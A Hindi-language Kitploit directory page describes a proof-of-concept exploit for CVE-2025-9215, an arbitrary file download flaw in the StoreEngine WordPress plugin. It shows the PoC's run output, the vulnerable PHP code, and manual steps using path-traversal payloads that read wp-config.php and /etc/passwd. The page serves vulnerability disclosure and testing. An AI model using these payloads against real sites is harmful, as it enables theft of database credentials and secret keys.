Skip to content
KitploitKITPLOIT
उपकरणएक्सप्लॉइटब्लॉग
Log in
जमा करें
उपकरणएक्सप्लॉइटब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
उपकरण/GitHubGitHub/d0n601/cve-2025-9215
भेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणजानकारी एकत्र करनावेब सुरक्षापेनिट्रेशन टेस्टिंग
GitHubd0n601/cve-2025-9215

CVE-2025-9215

StoreEngine – भुगतान, सदस्यता, सहबद्ध, बिक्री और अधिक के लिए शक्तिशाली WordPress ई-कॉमर्स प्लगइन <= 1.4.0 - प्रमाणित (सब्सक्राइबर+) मनमाना फ़ाइल डाउनलोड

रिपॉजिटरी देखें
11 साल पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

StoreEngine भुगतान, सदस्यता, सहबद्ध, बिक्री और अधिक के लिए शक्तिशाली WordPress ई-कॉमर्स प्लगइन <= 1.4.0 - प्रमाणित (Subscriber+) मनमाना फ़ाइल डाउनलोड

StoreEngine प्लगइन में उसके CSV Import/Export सुविधा में एक भेद्यता है जो किसी भी प्रमाणित उपयोगकर्ता (सब्सक्राइबर, लेखक, संपादक, आदि) को सर्वर से मनमानी फ़ाइलें डाउनलोड करने की अनुमति देती है, जिसमें संवेदनशील सिस्टम फ़ाइलें, WordPress कॉन्फ़िगरेशन फ़ाइलें, और प्लगइन सोर्स कोड शामिल हैं। यह भेद्यता storeengine_csv/file_download एंडपॉइंट में उचित पथ स्वच्छता (path sanitization) की कमी और केवल nonce सत्यापन पर निर्भरता के कारण उत्पन्न होती है, जबकि storeengine_nonce प्लगइन के JavaScript के माध्यम से सभी फ्रंटएंड उपयोगकर्ताओं को उजागर होता है। नोट: इस भेद्यता का शोषण करने के लिए CSV Import/Export ऐडऑन को किसी व्यवस्थापक द्वारा सक्षम किया जाना आवश्यक है। सक्षम होने पर, यह संयोजन किसी भी प्रमाणित उपयोगकर्ता को फ्रंटएंड पेजों से nonce निकालने और उसे पथ ट्रैवर्सल हमलों के माध्यम से सर्वर पर किसी भी फ़ाइल को डाउनलोड करने के लिए उपयोग करने की अनुमति देता है, जिससे सब्सक्राइबर+ उपयोगकर्ताओं को संवेदनशील सिस्टम और एप्लिकेशन फ़ाइलों तक पहुंच प्रभावी रूप से मिल जाती है।

TL;DR एक्सप्लॉइट्स

  • एक POC CVE-2025-9215.py प्रदान किया गया है जो पथ ट्रैवर्सल के माध्यम से एक सब्सक्राइबर उपयोगकर्ता द्वारा WordPress कॉन्फ़िगरेशन फ़ाइल डाउनलोड करने को प्रदर्शित करता है।
 python3 ./CVE-2025-9215.py http://localhost:1337 user1 password   
Logging into: http://localhost:1337/wp-admin
NOTE: This exploit works with any authenticated user (subscriber, author, editor, etc.)
Extracting nonce from frontend scripts (accessible to any user)...
storeengine_nonce: 82cb37f678
NOTE: This nonce is exposed to ALL frontend users, making the vulnerability exploitable by any authenticated user!
NOTE: CSV Import/Export addon must be enabled by an administrator before exploitation.
This exploit demonstrates the vulnerability once the addon is already enabled.
The addon activation requires 'manage_options' capability (admin only).

Downloading wp-config.php via path traversal...
<?php
/**
 * The base configuration for WordPress
 *
 * The wp-config.php creation script uses this file during the installation.
 * You don't have to use the website, you can copy this file to "wp-config.php"
 * and fill in the values.
 *
 * This file contains the following configurations:
 *
 * * Database settings
 * * Secret keys
...
...
...

विवरण

भेद्य फ़ाइल डाउनलोड फ़ंक्शन

नोट: इस भेद्यता का शोषण करने के लिए CSV Import/Export ऐडऑन को किसी व्यवस्थापक द्वारा सक्षम किया जाना आवश्यक है। ऐडऑन सक्रियण एंडपॉइंट (storeengine/saved_addon_status) को manage_options क्षमता की आवश्यकता होती है, जिसका अर्थ है कि केवल व्यवस्थापक ही इस कार्यक्षमता को सक्षम कर सकते हैं।

storeengine_csv/file_download AJAX क्रिया /wp-content/plugins/storeengine/addons/csv/ajax/export.php की पंक्ति 47 पर file_download() फ़ंक्शन को कॉल करती है, जिसमें उचित पथ स्वच्छता (path sanitization) का अभाव है और यह मनमानी फ़ाइल डाउनलोड की अनुमति देती है:

public function file_download( array $payload ) {
    if ( ! isset( $payload['filename'] ) ) {
        wp_send_json_error( __( 'Filename is required.', 'storeengine' ) );
    }

    $filename = $payload['filename'];
    $filepath = Helper::get_upload_dir() . '/csv/' . $filename;  // <-- VULNERABLE TO PATH TRAVERSAL!
    
    // NO CAPABILITY CHECK - ANY USER CAN DOWNLOAD ANY FILE!
    // NO PATH SANITIZATION - DIRECT CONCATENATION ALLOWS ../ ATTACKS!
    
    if ( ! file_exists( $filepath ) ) {
        wp_send_json_error( __( 'File not found.', 'storeengine' ) );
    }

    header( 'Content-Type: application/octet-stream' );
    header( 'Content-Disposition: attachment; filename="' . $filename . '"' );
    readfile( $filepath );  // <-- READS AND OUTPUTS ANY FILE!
    exit;
}

पथ निर्माण भेद्यता

भेद्य पथ निर्माण पूर्ण पथ ट्रैवर्सल की अनुमति देता है:

// Helper::get_upload_dir() returns:
$upload = wp_upload_dir();
return $upload['basedir'] . '/storeengine_uploads';

// So the full path becomes:
$filepath = '/path/to/wp-content/uploads/storeengine_uploads/csv/' . $filename;

// With path traversal, this becomes:
$filepath = '/path/to/wp-content/uploads/storeengine_uploads/csv/../../../wp-config.php'
$filepath = '/path/to/wp-content/uploads/storeengine_uploads/csv/../../../../../../etc/passwd'

Nonce उजागर होने की भेद्यता

storeengine_nonce प्लगइन के JavaScript के माध्यम से सभी फ्रंटएंड उपयोगकर्ताओं को उजागर होता है। यह /wp-content/plugins/storeengine/includes/assets.php की पंक्ति 279 पर स्थित _get_script_data() विधि में होता है:

public function _get_script_data(): array {
    // ... other data ...
    return [
        'nonce'             => wp_create_nonce( 'wp_rest' ),
        'storeengine_nonce' => wp_create_nonce( 'storeengine_nonce' ), // Line 279 - EXPOSED TO ALL USERS
        'rest_url'          => esc_url_raw( rest_url() ),
        // ... other data ...
    ];
}

यह nonce फिर पंक्ति 120 पर स्थित frontend_scripts() विधि के माध्यम से फ्रंटएंड JavaScript में localize किया जाता है:

wp_localize_script(
    'storeengine-frontend-scripts',
    'StoreEngineGlobal',
    $this->get_frontend_script_data() // Calls _get_script_data()
);

Nonce सत्यापन

nonce को /wp-content/plugins/storeengine/includes/classes/abstract-request-handler.php की पंक्ति 510 पर स्थित AbstractRequestHandler::check_permission() विधि में सत्यापित किया जाता है:

protected function check_permission( string $capability, bool $allow_visitors = false ) {
    if ( ( ! is_user_logged_in() && ! $allow_visitors ) || ( is_user_logged_in() && $capability && ! current_user_can( $capability ) ) ) {
        return new WP_Error(/* ... */);
    }
    return true;
}

यह संयोजन किसी भी प्रमाणित उपयोगकर्ता को CSRF सुरक्षा को बायपास करने और सर्वर पर किसी भी फ़ाइल को डाउनलोड करने की अनुमति देता है, जिसमें संवेदनशील कॉन्फ़िगरेशन फ़ाइलें, सोर्स कोड, और संभावित रूप से सिस्टम फ़ाइलें शामिल हैं।

मैन्युअल पुनरुत्पादन

  1. एडमिन पैनल में लॉगिन करें और StoreEngine प्लगइन पर जाएं।
  2. CSV Export अनुभाग पर जाएं (यदि यह एडमिन इंटरफ़ेस में उपलब्ध हो)।
  3. Burp Suite या इसी तरह का कोई टूल शुरू करें और ट्रैफ़िक को इंटरसेप्ट करना शुरू करें।
  4. /wp-admin/admin-ajax.php पर एक अनुरोध को इंटरसेप्ट करें जो storeengine_csv/file_download क्रिया को कॉल करता है।
  5. निकाले गए nonce और एक पथ ट्रैवर्सल पेलोड को शामिल करने के लिए अनुरोध को संशोधित करें।
  6. WordPress कॉन्फ़िगरेशन फ़ाइल डाउनलोड करने के लिए filename=../../../../wp-config.php के साथ अनुरोध भेजें।
  7. डेटाबेस क्रेडेंशियल, API कुंजियाँ, और सुरक्षा सॉल्ट सहित संवेदनशील कॉन्फ़िगरेशन फ़ाइलों तक पहुंचें।
टूल डाउनलोड करें